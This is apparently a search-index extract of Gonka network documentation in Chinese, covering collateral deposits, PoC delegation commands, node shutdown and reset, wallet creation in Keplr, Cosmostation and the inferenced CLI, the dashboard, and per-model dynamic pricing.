为什么需要 2× 缓冲？ oC 权重会在不同 Epoch 之间波动（网络归一化、模型系数、上限、惩罚等原因）。协议不会自动补充抵押：如果你的抵押不足以覆盖下一个 Epoch 的实际权重，那么你会静默地获得更低权重，直到再次补充抵押为止——这意味着你至少会损失一个 Epoch 的完整奖励。多余的抵押不会丢失：它会保存在模块中，并且之后可以通过 withdraw-collateral提取。
选项 B —— 等待第一次 PoC 后再精确存入（代价是有一个 Epoch 仅以 20% 权重运行） 现在先跳过此步骤，等待第一次 PoC 阶段完成（约每 24 小时一次），然后在 $NODE_URL/v1/epochs/current/participants 查看你的真实权重，并重新运行上面的脚本，将你自己的权重替换 MAX_WEIGHT从第二个 Epoch 开始，你的节点将以完整权重运行。
使用你的 Account Key 存入抵押（始终使用 ngonka):
./inferenced tx collateral deposit-collateral ${DEPOSIT}ngonka \\\n --from gonka-account-key \\\n --keyring-backend file \\\n --node $NODE_URL/chain-rpc/ \\\n --chain-id $CHAIN_ID\n验证：
MY_ADDR=$(./inferenced keys show gonka-account-key -a --keyring-backend file)\ncurl -s \"$NODE_URL/chain-api/productscience/inference/collateral/collateral/$MY_ADDR\" | jq\n存款是累计的——如果你的权重增长，之后可以再次执行 deposit-collateral 进行补充。若想释放未使用的抵押，可以使用 withdraw-collateral 需要经过解绑期，默认 1 个 Epoch）。
关于 Slash（惩罚）、提现以及参数调优的更多细节，请查看 Collateral documentation.
"}, {"location": "gonka/docs/zh/host/quickstart/#poc", "title": "可选：PoC 委托与拒绝", "text": "在你的 Host 完成注册、ML Operational Key 完成授权，并且你已经可以 验证 参与状态之后，再使用本部分内容——通常是在你的本地机器上，使用 Account（冷）Key（gonka-account-key）进行操作。这里的内容并不是启动容器所必须的；它适用于你并未在自己的 GPU 上运行所有已通过治理批准的模型，并且需要将 PoC 投票权委托（delegate）给其他参与者、拒绝（refuse）委托，或结合 params对时间参数进行比较的情况。
对于每个 model_id ，你要么运行该模型（PoC 提交来自你的节点堆栈），要么通过链上信号进行声明。当你信任某个运行该模型的 Host 时，Delegation（委托） 是最常见的选择；refuse（拒绝） 则表示明确退出。背景说明： Multi-Model PoC — Host Operations Guide.
将 NODE 设置为任意一个已同步的链 RPC（与 grant-ml-ops-permissions的使用方式相同：使用 config.env 中的 seed API URL，并在末尾追加 /chain-rpc/ ）。
export NODE=\"<PUBLIC_CHAIN_RPC>\" # 例如 https://node2.gonka.ai:8000/chain-rpc/\nexport NODE=\"<PUBLIC_CHAIN_RPC>\" # 例如 http://node2.gonka.ai:8000/chain-rpc/\nexport CHAIN_ID=\"gonka-mainnet\"\nexport KEY=\"gonka-account-key\"\nexport KEYRING_BACKEND=\"file\"\n检查治理参数（如惩罚规则、 penalty_start_epoch等）：
./inferenced query inference params --node \"$NODE\" -o json\n**检查你的 PoC 委托 / 拒绝 / intent 状态（所有模型）：
MY_ADDR=\"$(./inferenced keys show \"$KEY\" -a --keyring-backend \"$KEYRING_BACKEND\")\"\n./inferenced query inference poc-delegation \"$MY_ADDR\" --node \"$NODE\" -o json\n委托 ——将你的权重用于该模型的 PoC 验证，并分配给 DELEGATEE （其 gonka1… 地址)。 Kimi 示例：
MODEL=\"moonshotai/Kimi-K2.6\"\nDELEGATEE=\"gonka1xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n\n./inferenced tx inference set-poc-delegation \"$MODEL\" \"$DELEGATEE\" \\\n --from \"$KEY\" \\\n --node \"$NODE\" \\\n --chain-id \"$CHAIN_ID\" \\\n --keyring-backend \"$KEYRING_BACKEND\" \\\n --gas auto \\\n --gas-adjustment 1.3 \\\n -y\nMiniMax 示例（例如你只在 GPU 上运行 Kimi）：
MODEL=\"MiniMaxAI/MiniMax-M2.7\"\nDELEGATEE=\"gonka1xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n\n./inferenced tx inference set-poc-delegation \"$MODEL\" \"$DELEGATEE\" \\\n --from \"$KEY\" \\\n --node \"$NODE\" \\\n --chain-id \"$CHAIN_ID\" \\\n --keyring-backend \"$KEYRING_BACKEND\" \\\n --gas auto \\\n --gas-adjustment 1.3 \\\n -y\n清除 某个模型的委托：
MODEL=\"moonshotai/Kimi-K2.6\"\n\n./inferenced tx inference set-poc-delegation \"$MODEL\" \"\" \\\n --from \"$KEY\" \\\n --node \"$NODE\" \\\n --chain-id \"$CHAIN_ID\" \\\n --keyring-backend \"$KEYRING_BACKEND\" \\\n --gas auto \\\n --gas-adjustment 1.3 \\\n -y\n拒绝 某个模型的委托（链上明确 “否”）：
MODEL=\"moonshotai/Kimi-K2.6\"\n\n./inferenced tx inference refuse-poc-delegation \"$MODEL\" \\\n --from \"$KEY\" \\\n --node \"$NODE\" \\\n --chain-id \"$CHAIN_ID\" \\\n --keyring-backend \"$KEYRING_BACKEND\" \\\n --gas auto \\\n --gas-adjustment 1.3 \\\n -y\ndeclare-poc-intent 主要适用于新模型启动（bootstrap）窗口；请参见 Kimi K2.6 Bootstrap。更多命令与边缘情况： Multi-Model PoC — Host Operations Guide.
检查你当前所处的 epoch。打开以下 URL： http://node1.gonka.ai:8000/api/v1/epochs/latest （你也可以使用任何其他活跃参与者的 URL）
在返回结果中，查找：
\"latest_epoch\": {\n \"index\": 88,\n ...\n}\n记住你的节点当前工作的最新 epoch index。
在同一 JSON 返回中，查找：
\"next_epoch_stages\": {\n ...\n \"claim_money\": <block_number>\n}\n禁用每一个 ML Node：
curl -X POST http://<api_node_static_ip>:<admin_port>/admin/v1/nodes/<id>/disable\n保持 Network Node 在线并保持同步，它将自动处理奖励领取。 要检查最新奖励是否已领取，请在 claim_money 区块之后运行以下命令（替换 <YOUR_ADDRESS> 和 <EPOCH> 为实际值）：
inferenced query inference show-epoch-performance-summary <EPOCH> <YOUR_ADDRESS> --node http://node1.gonka.ai:8000/chain-rpc/ --output json\nOutput:\n{\n \"epochPerformanceSummary\": {\n \"epoch_index\": \"87\",\n \"participant_id\": \"<YOUR_ADDRESS>\",\n \"missed_requests\": \"1\",\n \"rewarded_coins\": \"123456\",\n \"claimed\": true\n }\n}\nclaimed = true，说明奖励已经领取完成。 如果显示 false，请继续执行手动领取步骤。 手动领取奖励（如需要）
Run:
curl -X POST http://localhost:9200/admin/v1/claim-reward/recover \\\n -H \"Content-Type: application/json\" \\\n -d '{\"force_claim\": true}'\n验证节点移除与权重情况。如果你已禁用所有节点，那么你的 participant 应该不会再出现在 active participants 列表中。如果仍然存在，说明网络仍然期望你参与当前 epoch，此时若直接关闭节点可能会错过 inference，从而影响你的信誉。
确保你在 gonka/deploy/join 目录下。停止所有运行中的容器：
docker compose -f docker-compose.yml -f docker-compose.mlnode.yml down\ndocker-compose.yml 和 docker-compose.mlnode.yml 中定义的所有服务，但不会删除 volumes 或数据（除非另有显式配置）。"}, {"location": "gonka/docs/zh/host/quickstart/#_18", "title": "如何清理节点（完整重置）", "text": "如果你希望完全重置节点并删除所有数据（用于重新部署或迁移），请执行以下步骤：
清理缓存并重新开始，删除本地 .inference 和 .dapi 文件夹（推理运行时缓存与身份）：
rm -rf .inference .dapi .tmkms\n（可选）清除模型权重缓存：
rm -rf $HF_HOME\nNote
删除 $HF_HOME 后，将需要重新从 Hugging Face 下载大型模型文件，或重新挂载 NFS 缓存。
需要帮助？ 可查看 FAQ page，或加入 Discord server 获取技术支持、通用咨询或安全问题帮助。
"}, {"location": "gonka/docs/zh/participant/", "title": "正在重定向到主机部分", "text": ""}, {"location": "gonka/docs/zh/participant/#_1", "title": "正在重定向到主机部分", "text": "此页面正在将您重定向到文档的主机部分。
如果未自动重定向，请点击此处。
"}, {"location": "gonka/docs/zh/participant/benchmark-to-choose-optimal-deployment-config-for-llms/", "title": "重定向到主机基准测试", "text": ""}, {"location": "gonka/docs/zh/participant/benchmark-to-choose-optimal-deployment-config-for-llms/#_1", "title": "重定向到主机基准测试", "text": "此页面已移至[主机部分/host/benchmark-to-choose-optimal-deployment-config-for-llms/)。
如果您未自动重定向，请[单击此处/host/benchmark-to-choose-optimal-deployment-config-for-llms/)。
"}, {"location": "gonka/docs/zh/participant/genesis-new/", "title": "正在重定向到主机起源（新）", "text": ""}, {"location": "gonka/docs/zh/participant/genesis-new/#_1", "title": "正在重定向到主机起源（新）", "text": "此页面已移至[主机部分/host/genesis-new/)。
如果未自动重定向，请[单击此处/host/genesis-new/)。
"}, {"location": "gonka/docs/zh/participant/genesis/", "title": "正在重定向到主机起源", "text": ""}, {"location": "gonka/docs/zh/participant/genesis/#_1", "title": "正在重定向到主机起源", "text": "此页面已移至[主机部分/host/genesis/）。
如果未自动重定向，请[单击此处/host/genesis/）。
"}, {"location": "gonka/docs/zh/participant/hardware-specifications/", "title": "正在重定向到主机硬件规格", "text": ""}, {"location": "gonka/docs/zh/participant/hardware-specifications/#_1", "title": "正在重定向到主机硬件规格", "text": "此页面已移至[主机部分/host/hardware-specifications/)。
如果未自动重定向，请[单击此处/host/hardware-specifications/)。
"}, {"location": "gonka/docs/zh/participant/key-management/", "title": "正在重定向到主机密钥管理", "text": ""}, {"location": "gonka/docs/zh/participant/key-management/#_1", "title": "正在重定向到主机密钥管理", "text": "此页面已移至主机部分。
如果您没有被自动重定向，请点击此处。
"}, {"location": "gonka/docs/zh/participant/multi-node-setup-for-review/", "title": "重定向到主机多节点设置", "text": ""}, {"location": "gonka/docs/zh/participant/multi-node-setup-for-review/#_1", "title": "重定向到主机多节点设置", "text": "此页面已移至[主机部分/host/multi-node-setup-for-review/)。
如果未自动重定向，请[单击此处/host/multi-node-setup-for-review/)。
"}, {"location": "gonka/docs/zh/participant/multiple-nodes/", "title": "重定向到托管多个节点", "text": ""}, {"location": "gonka/docs/zh/participant/multiple-nodes/#_1", "title": "重定向到托管多个节点", "text": "此页面已移至托管部分。
如果未自动重定向，请单击此处。
"}, {"location": "gonka/docs/zh/participant/network-node-api/", "title": "正在重定向到主机网络节点 API", "text": ""}, {"location": "gonka/docs/zh/participant/network-node-api/#api", "title": "正在重定向到主机网络节点 API", "text": "此页面已移至[主机部分/host/network-node-api/)。
如果未自动重定向，请[单击此处/host/network-node-api/)。
"}, {"location": "gonka/docs/zh/participant/quickstart/", "title": "正在重定向到主机快速入门", "text": ""}, {"location": "gonka/docs/zh/participant/quickstart/#_1", "title": "正在重定向到主机快速入门", "text": "此页面已移至主机部分。
如果未自动重定向，请单击此处。
"}, {"location": "gonka/docs/zh/wallet/create-account/", "title": "创建 Gonka 账户", "text": ""}, {"location": "gonka/docs/zh/wallet/create-account/#gonka", "title": "创建一个新的Gonka账户", "text": "要开始使用Gonka网络，您首先需要创建一个Gonka账户。 有多种方式可以完成此操作：
inferenced CLI 工具桥接兼容性和助记词（种子短语）
如果您使用助记词（种子短语）创建Gonka账户——如Cosmostation和Fox Wallet默认方式——该账户兼容以太坊桥，但桥会将代币发送到与您的钱包显示不同的 gonka1… 地址。这是因为以太坊和Gonka使用不同的BIP-44派生路径（币种 60 与 118），因此相同的种子短语在每条链上生成不同的私钥。您仍可控制这些资金，并通过额外的派生步骤访问它们。完整说明请参见地址和密钥。
为获得最简单的桥接体验——您的钱包自动显示桥使用的地址，无需额外派生步骤——请通过以下方式之一创建您的Gonka账户：
inferenced CLI 工具以下是针对Keplr和Cosmostation的分步说明。同样的流程——安装钱包或扩展程序、登录、启用Gonka链并复制您的地址——也适用于Fox Wallet。
外部钱包通过inferenced CLI 工具 我没有外部钱包我有一个外部钱包 Keplr移动应用Keplr浏览器扩展Cosmostation 浏览器扩展 前往Keplr官方网站并点击“获取Keplr钱包”。
向下滚动到移动应用部分，选择您的操作系统。下载应用。
打开应用。点击“创建新钱包”。
点击“通过Google连接”。按照说明通过Gmail登录。
桥接兼容性
通过Keplr“通过Google连接”流程创建的账户基于密钥而非助记词，因此与以太坊桥完全兼容——桥会将代币发送到您的钱包显示的相同 gonka1… 地址，无需额外派生步骤。详细信息请参见地址和密钥。
安全备份您的私钥。任何拥有您私钥的人都能访问您的资产。如果您失去对Gmail账户的访问权限，唯一恢复钱包的方法是使用您的私钥。请将您的私钥存放在安全的地方。切勿与任何人分享您的私钥。
在搜索栏中输入“Gonka”并选择Gonka链以添加到您的钱包。
您已在Keplr中创建了钱包。现在，请按照以下说明查找您的账户地址。
在主屏幕上，向下滚动到Gonka链并点击它。
在您的余额上方，您将看到您的Gonka账户地址。点击复制图标以复制完整的Gonka账户地址。
您已复制了Gonka账户地址。您可以与任何将向您付款的人共享它。共享是安全的。
前往Keplr官方网站并点击“获取Keplr钱包”。
选择适用于您浏览器的扩展程序。
将所选扩展程序添加到您的浏览器。
FirefoxGoogle Chrome安装扩展程序后，您应在浏览器的右上角面板中看到它。
此时，扩展程序已安装，但您的钱包和Gonka账户尚未创建。请继续下一步进行设置。
打开Keplr浏览器扩展程序，点击“创建新钱包”。
点击“使用Google连接”。按照说明通过Gmail登录。
Bridge compatibility
通过Keplr“使用Google连接”流程创建的账户基于密钥，而非助记词，因此与以太坊桥完全兼容——桥会将代币发送到您的钱包显示的相同gonka1…地址，无需额外的派生步骤。详情请参阅地址和密钥。
设置您的钱包。请将密码安全保存。
安全备份您的私钥。任何拥有您私钥的人都可以访问您的资产。如果您失去对Gmail账户的访问权限，唯一恢复钱包的方法是使用您的私钥。请将私钥安全保存，切勿与任何人分享。
在搜索栏中输入“Gonka”，然后选择Gonka链以添加到您的钱包。
您已在Keplr中创建了钱包。现在，请按照以下说明查找您的账户地址。
打开Keplr，导航并点击钱包中的“复制地址”。
点击Gonka链旁边的复制按钮。
您已复制了Gonka账户地址。您可以与任何将向您付款的人共享它。共享是安全的。 若要在移动设备上访问钱包，请下载Keplr应用，并使用注册时相同的登录方式登录。您的Gonka Network账户将自动出现在移动钱包应用中。
可选：如何在Keplr钱包中添加额外的Gonka账户——单击查看步骤打开扩展程序，点击扩展程序窗口右上角的账户图标。
点击“添加钱包”按钮。
点击“导入现有钱包”。
点击“使用恢复短语或私钥\"
粘贴您的私钥。
Bridge compatibility
如果您的Keplr钱包是通过助记词（种子）创建的，则该账户仍与以太坊桥兼容，但桥会将代币发送到与您钱包显示不同的gonka1…地址。这是因为以太坊和Gonka使用不同的BIP-44派生路径（币种类型60与118）。您仍可控制这些资金，但需要额外的派生步骤才能访问。为获得最简单的桥接体验，请使用inferenced CLI工具或Keplr“使用Google连接”流程创建Gonka账户。详情请参阅地址和密钥。
为您的钱包命名以便于识别。
请确保已选择 Gonka 链。
完成 — 您的 Gonka 账户已成功导入 Keplr！
桥接兼容性
此选项通过助记词（种子短语）创建您的账户，因此该账户与以太坊桥兼容，但桥会将代币发送到与您的钱包显示不同的 gonka1… 地址。这是因为以太坊和 Gonka 使用不同的 BIP-44 衍生路径（币种类型 60 与 118）。您仍可控制该地址，只需额外执行一次衍生步骤即可访问。为获得最简单的桥接体验，建议使用 inferenced CLI 工具或 Keplr 的“通过 Google 连接”流程创建您的 Gonka 账户。详情请参阅 地址和密钥。
获取 Cosmostation 钱包浏览器扩展。
将扩展程序添加到您的浏览器。
选择“创建新钱包”。
记下您的助记词。请勿与任何人分享您的恢复短语。任何拥有您恢复短语的人都能完全控制您的资产。请时刻警惕网络钓鱼攻击，并安全备份该短语。
按顺序完成测验。检查已备份的助记词，并为每个数字选择正确的短语顺序。
设置账户名称。请输入您的账户名称。您随时可以更改账户名称。
在右上角点击“所有网络”，然后选择 Gonka 链以将其添加到您的钱包中。
完成！您的 Gonka 账户已成功创建。要复制您的地址（可与他人共享以接收付款），请单击余额上方的地址。地址通常以 gonka... 开头。
点击顶部的钱包名称，然后在右上角点击“管理”，再点击钱包名称。
点击“查看私钥”。
验证您的密码。
从列表中选择“Gonka”。
点击“Gonka”以查看私钥。复制您的私钥或恢复短语并安全存储（建议保存纸质副本）。
Keplr 手机应用Keplr 浏览器扩展Cosmostation 浏览器扩展桥接兼容性
如果您的 Keplr 钱包是通过助记词（种子短语）创建的，则该账户仍与以太坊桥兼容，但桥会将代币发送到与您的钱包显示不同的 gonka1… 地址。这是因为以太坊和 Gonka 使用不同的 BIP-44 衍生路径（币种类型 60 与 118）。您仍可控制这些资金，并通过额外的衍生步骤访问它们。为获得最简单的桥接体验，请使用 inferenced CLI 工具或 Keplr 的“通过 Google 连接”流程创建您的 Gonka 账户。详情请参阅地址和密钥。
打开 Keplr 手机应用并登录您的钱包。点击左上角的菜单。
点击“添加/移除”链。
在搜索栏中输入“Gonka”并选择 Gonka 链。
在主屏幕上，向下滚动到 Gonka 链并点击它。
在您的余额上方，您将看到您的 Gonka 账户地址。点击复制图标以复制完整的 Gonka 账户地址。
您已复制您的 Gonka 账户地址。您可以与任何将向您付款的人共享它。共享是安全的。
桥接兼容性
如果您的 Keplr 钱包是通过助记词（种子短语）创建的，则该账户仍与以太坊桥兼容，但桥会将代币发送到与您的钱包显示不同的 gonka1… 地址。这是因为以太坊和 Gonka 使用不同的 BIP-44 衍生路径（币种类型 60 与 118）。您仍可控制这些资金，并通过额外的衍生步骤访问它们。为获得最简单的桥接体验，请使用 inferenced CLI 工具或 Keplr 的“通过 Google 连接”流程创建您的 Gonka 账户。详情请参阅地址和密钥。
为您的浏览器安装扩展程序（如果您已安装扩展程序，请直接跳至“将 Gonka 网络添加到您的 Keplr 钱包”步骤）。
访问 Keplr 官方网站 并点击“获取 Keplr 钱包”。
选择适用于您浏览器的扩展程序。
将所选扩展程序添加到您的浏览器。
FirefoxGoogle Chrome安装扩展后，您应在浏览器的右上角看到它。
此时，扩展已安装，但尚未连接到您的钱包。 接下来，打开扩展并登录您的钱包。登录后，请按照以下步骤继续设置过程。
桥接兼容性
此选项通过助记词（种子短语）创建您的账户，因此该账户与以太坊桥兼容，但桥会将代币发送到与您的钱包显示不同的 gonka1… 地址。这是因为以太坊和 Gonka 使用不同的 BIP-44 衍生路径（币种 60 与 118）。您仍可控制该地址，并可通过额外的衍生步骤访问它。为获得最简单的桥接体验，请使用 inferenced CLI 工具或 Keplr 的“通过 Google 连接”流程创建您的 Gonka 账户。详情请参阅地址和密钥。
如果您尚未安装，请安装 Cosmostation 钱包浏览器扩展（如果您已安装该扩展，请跳至步骤 \"将 Gonka 网络添加到您的 Cosmostation 钱包\"）。
将扩展添加到您的浏览器。
打开 Cosmostation 扩展并登录您的现有钱包。
本指南介绍如何使用 inferenced CLI 工具创建 Gonka 网络账户。下载 inferenced CLI 工具（适用于您系统的最新 inferenced 二进制文件请见 这里）。
什么是 inferenced CLI 工具？
inferenced CLI 工具是一个用于与 Gonka 网络交互的命令行界面工具。它是一个独立的可执行二进制文件，允许用户创建和管理 Gonka 账户、执行推理任务、上传模型，并通过脚本命令自动化各种操作。
在创建账户之前，请设置所需的环境变量：
export ACCOUNT_NAME=<your-desired-account-name>\nexport NODE_URL=<http://random-node-url>\n<your-desired-account-name> 替换为您的选定账户名称。此名称不会记录在链上——它仅存在于您的本地密钥存储中。 唯一性是本地的：创建两个同名密钥将覆盖现有密钥（CLI 会发出警告）。如果您继续操作，原始密钥将永久丢失。强烈建议在执行此操作前备份您的公钥和私钥。
<http://random-node-url> 替换为随机的节点 URL。您可以选择：别忘了把它记下来，下一步会用到。
为什么选择随机节点？为了避免过度依赖创世节点并促进去中心化，Gonka 建议从当前纪元中选择一个随机的活跃节点。这有助于改善网络负载分布并增强对节点故障的韧性。
如何选择节点 URL？您可以随机选择任何节点——您不需要考虑它运行的是哪种模型。此时，节点仅用作获取网络状态和广播交易的网关。所有节点都暴露相同的公共 API。
创世节点当前活跃参与者列表将 NODE_URL 设置为以下创世节点之一：
http://36.189.234.237:17241\nhttps://node1.gonka.ai:8443\nhttps://node2.gonka.ai:8443\nhttp://47.236.26.199:8000\nhttp://47.236.19.22:18000\nhttp://gonka.spv.re:8000\n或者，您可以从当前纪元中选择一个随机的活跃参与者。打开以下链接或运行以下命令以获取活跃参与者列表及其用于验证的密码学证明：
链接命令https://node2.gonka.ai:8443/v1/epochs/current/participants
curl https://node2.gonka.ai:8443/v1/epochs/current/participants\n下载 inferenced CLI 工具（适用于您系统的最新 inferenced 二进制文件请见 这里）。
在 macOS 上，下载 inferenced 二进制文件后，您可能需要手动启用执行权限。请按照以下步骤操作：
打开终端并导航到二进制文件所在的目录。
运行以下命令以授予执行权限：
chmod +x inferenced\n尝试运行 ./inferenced --help 以确认其正常工作。
如果在运行 inferenced 时看到安全警告，请前往系统设置 → 隐私与安全。
向下滚动到关于 inferenced 的警告，并点击“仍允许”。
您可以使用以下命令创建账户：
./inferenced keys add \"$ACCOUNT_NAME\"\n请确保安全保存您的密码短语——您将来需要它来访问账户。
此命令将：
~/.inference- address: <your-account-address>\n name: ACCOUNT_NAME\n pubkey: '{\"@type\":\"...\",\"key\":\"...\"}'\n type: local\n您将使用此账户地址接收付款。这是您的公钥地址，可以安全地分享。
要访问您的 Gonka 私钥，请导出私钥并安全存储。以下命令将输出纯文本私钥。私钥是一串秘密代码，可完全访问您的钱包及其内部资金。它用于确认（签名）交易并证明您是钱包的所有者。
因此，私钥必须始终安全存储，绝不可与任何人分享。
./inferenced keys export $ACCOUNT_NAME --unarmored-hex --unsafe\n要检索所有本地存储的账户列表，请执行以下命令：
inferenced keys list [--keyring-backend test]\n现在，您可以通过导入导出的私钥将您的 Gonka 账户添加到 Keplr。如果您希望 Keplr 显示由 inferenced CLI 创建的相同 Gonka 地址，请不要导入助记词。由于钱包使用的派生路径不同，导入助记词可能会生成不同的 Gonka 地址。
以下是将 Gonka 网络添加到您的钱包以及如何创建您的 Gonka 账户的指南。 打开 Keplr 浏览器扩展，导航到左上角的菜单。
点击“添加/删除链”。
在搜索栏中输入“Gonka”并选择“Gonka”链。
打开 Keplr，点击余额上方的“复制地址”按钮。
点击 Gonka 链旁边的复制按钮。
您已复制您的 Gonka 账户地址。您可以与任何将向您付款的人共享它。共享是安全的。 若要在移动设备上访问您的钱包，请下载 Keplr 应用程序，并使用注册时相同的方法登录。您的 Gonka 网络账户将自动出现在移动钱包应用中。
"}, {"location": "gonka/docs/zh/wallet/create-account/#gonka-cosmostation", "title": "将 Gonka 网络添加到您的 Cosmostation 钱包", "text": "在右上角点击“所有网络”，然后选择 Gonka 链将其添加到您的钱包。
您的 Gonka 账户现已激活。要复制您的地址，请点击余额上方的地址。它通常以 gonka... 开头。
您已复制您的 Gonka 账户地址。您可以与任何将向您付款的人共享它。共享是安全的。
"}, {"location": "gonka/docs/zh/wallet/create-account/#gonka_1", "title": "查看您的 Gonka 私钥", "text": "点击顶部的钱包名称，然后点击右上角的“管理”，再点击钱包名称。
点击“查看私钥”。
验证您的密码。
从列表中选择“Gonka”。
点击“Gonka”以查看私钥。复制您的私钥或恢复短语并安全存储（建议保存纸质副本）。
"}, {"location": "gonka/docs/zh/wallet/dashboard/", "title": "仪表盘", "text": ""}, {"location": "gonka/docs/zh/wallet/dashboard/#_1", "title": "仪表盘入门", "text": "仪表盘展示链上实时活动。
与依赖单一中心化服务器不同，所有网络数据和推理指标都直接托管在主机（Host）节点上。这意味着仪表盘可以连接到任何主机的节点，直接从源头获取实时网络数据。
你可以通过两种方式使用仪表盘：
如果你想在设置账户之前探索网络或查看实时推理指标，请按以下步骤操作：
以下是创世节点列表。从下面的列表中选择一个随机节点，并在新的浏览器窗口/标签页中打开。
打开主机列表：http://node2.gonka.ai:8443/v1/epochs/current/participants。 从列表中选择任意活跃主机。 复制他们的 inference_url 值。 将 inference_url 粘贴到浏览器中以加载仪表盘。
打开后，你将看到直接来自该主机节点的实时数据流。
为什么这很重要？
这种架构确保了去中心化：没有任何单一中心化服务器控制网络。在预览模式下，功能有限。你可以查看余额、交易和部分分析。如果你想发送代币、管理个人账户等，请解锁完整模式。
首先，使用预览模式打开仪表盘。访问后，继续按照以下说明启用所有功能。
"}, {"location": "gonka/docs/zh/wallet/dashboard/#1-gonka", "title": "1. 访问 Gonka 账户", "text": "要解锁仪表盘的完整功能，你需要一个 Gonka 账户。
若需通过钱包与仪表盘进行交互，建议使用 Keplr（一款基于 Cosmos 生态的浏览器扩展钱包）。
什么是钱包？加密钱包是用于安全存储用户公钥和私钥的工具，使其能够管理、转账和购买加密资产。Gonka 基于 Cosmos-SDK 区块链框架构建，可通过 Keplr 钱包进行访问。
为你的浏览器安装扩展。
前往 Keplr 官网，点击\"Get Keplr wallet\"。
选择与你浏览器匹配的扩展。
将选定的扩展添加到浏览器。
FirefoxGoogle Chrome安装扩展后，你应该在浏览器的右上角面板看到它。
此时，扩展已安装，但尚未连接到你的钱包。 接下来，打开扩展并登录你的钱包。登录后，按照以下步骤继续设置过程。
点击\"Import an Existing Wallet\"。
点击\"Use recovery phrase or private key\"
粘贴你的私钥。
关于钱包-桥接兼容性的重要说明桥接目前需要特定的账户设置。某些钱包可能允许你创建 Gonka 账户甚至导出私钥，但这并不总意味着该账户能与桥接正常工作。若需使用桥接，请通过以下方式之一创建 Gonka 账户：
inferenced CLI 工具这些是需要以太坊桥接兼容性的用户推荐和支持的选项。详见创建 Gonka 账户。
设置你的钱包。将你的密码保存在安全可靠的地方。
在搜索栏中输入\"Gonka\"并选择 Gonka 链将其添加到钱包。
完成 — 你的 Gonka 账户已成功导入 Keplr！
"}, {"location": "gonka/docs/zh/wallet/dashboard/#3", "title": "3. 连接钱包", "text": "3.1. 按照预览模式说明打开 Gonka 仪表盘。
3.2. 在右上角，点击\"Connect Wallet\"开始。
3.3. 选择 Keplr 并点击 Connect。
3.4. 批准与 Gonka 网络的连接请求。
3.5. 完成！你已成功将账户添加到钱包。
可选：如何在 Keplr 钱包中添加额外的 Gonka 账户 — 点击查看步骤打开扩展，点击扩展窗口右上角的账户图标。
点击\"Add wallet\"按钮。
点击\"Import an Existing Wallet\"。
点击\"Use recovery phrase or private key\"
粘贴你的私钥。
关于钱包-桥接兼容性的重要说明桥接目前需要特定的账户设置。某些钱包可能允许你创建 Gonka 账户甚至导出私钥，但这并不总意味着该账户能与桥接正常工作。若需使用桥接，请通过以下方式之一创建 Gonka 账户：
inferenced CLI 工具这些是需要以太坊桥接兼容性的用户推荐和支持的选项。详见创建 Gonka 账户。
为你的钱包命名以便参考。
确保选择了 Gonka 链。
完成 — 你的 Gonka 账户已成功导入 Keplr！
"}, {"location": "gonka/docs/zh/wallet/pricing/", "title": "价格", "text": ""}, {"location": "gonka/docs/zh/wallet/pricing/#_1", "title": "定价", "text": "网络采用自动动态定价机制来计算推理成本。 每个模型都有一个实时AI代币价格，该价格基于实际需求和利用率指标在每个区块中重新计算。
这是网络价格，而非您支付给经纪人的价格
此处描述的机制设定了协议层的链上每推理单位价格。如果您通过社区经纪人访问Gonka，该经纪人是独立的转售方，会在该价格基础上自行设定零售价格、支付方式和速率限制，并可能覆盖其自身成本。因此，您实际支付的价格因经纪人而异，请查阅每个经纪人的条款，选择最适合您的方案。
"}, {"location": "gonka/docs/zh/wallet/pricing/#_2", "title": "定价机制", "text": "动态定价系统的核心是一个稳定性区域模型，该模型自动调整价格，以在可接受的利用率范围内维持最优网络利用率和价格稳定。系统采用基于区块的调整机制，定义了稳定性区域和最大变更限制。
"}, {"location": "gonka/docs/zh/wallet/pricing/#_4", "title": "稳定性区域模型", "text": "系统为网络利用率定义了一个40%至60%的稳定性区域，在此范围内价格保持不变。超出该区域时，价格将调整以促使利用率回归最优范围。计算过程如下：
价格计算遵循以下公式，类似于以太坊的EIP-1559，但每个模型独立计算：
// Calculate per-model utilization and pricing\nfor each_model in active_epoch_models:\n model_capacity = get_cached_capacity(model_id) // from capacity/{model_id} KV store\n model_utilization = model_tokens_processed_in_recent_blocks[model_id] / model_capacity\n\n if model_utilization >= 0.40 and model_utilization <= 0.60:\n // Stability zone - no price change\n new_model_price[model_id] = previous_model_price[model_id]\n else if model_utilization < 0.40:\n // Below stability zone - decrease price\n utilization_deficit = 0.40 - model_utilization\n adjustment_factor = 1.0 - (utilization_deficit * price_elasticity)\n new_model_price[model_id] = previous_model_price[model_id] * adjustment_factor\n else:\n // Above stability zone - increase price\n utilization_excess = model_utilization - 0.60\n adjustment_factor = 1.0 + (utilization_excess * price_elasticity)\n new_model_price[model_id] = previous_model_price[model_id] * adjustment_factor\n\n // Ensure price never goes below 1 nicoin per token\n new_model_price[model_id] = max(new_model_price[model_id], min_per_token_price)\n在默认弹性为0.05的情况下，每个模型独立计算如下：
最低价格1 nicoin是一种技术和经济保障：
当前网络定价配置可从任何活跃节点查询。
curl http://node2.gonka.ai:8000/v1/governance/pricing | jq\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n100 175 100 175 0 0 315 0 --:--:-- --:--:-- --:--:-- 314\n{\n \"unit_of_compute_price\": 100,\n \"models\": [\n {\n \"id\": \"MiniMaxAI/MiniMax-M2.7\",\n \"units_of_compute_per_token\": 10000,\n \"price_per_token\": 1\n }\n ],\n \"dynamic_pricing_enabled\": true\n}\n链上唯一有效的面额是 ngonka。所有余额、费用和交易必须 exclusively 使用 ngonka。 Cosmos SDK 允许定义其他面额，但这些面额无效 — SDK 不会在它们之间自动转换。 gonka 仅用作链下、面向用户的显示单位。它代表10亿 ngonka，本身并不存在于链上。
有效单位
单位 用途 链上？ 比率ngonka 网络使用的基准单位 是 1 gonka 人类可读的显示单位 否 1 gonka = 1,000,000,000 ngonka"}, {"location": "gonka/docs/zh/wallet/pricing/#_7", "title": "收益与经济影响", "text": "动态定价系统提供了若干经济和运营优势：
本指南介绍如何在网络上使用钱包与代币：获取钱包地址、查询余额、发送代币与查看交易状态。 开始之前，你需要能够访问你的账户。根据你在网络中的角色，按以下说明操作。
你是主机（Host）吗？
你向网络贡献算力并获得代币奖励。 继续之前，你需要访问你的钱包。钱包会在链节点（chain-node）容器首次运行时自动创建。
你是开发者（Developer）吗？
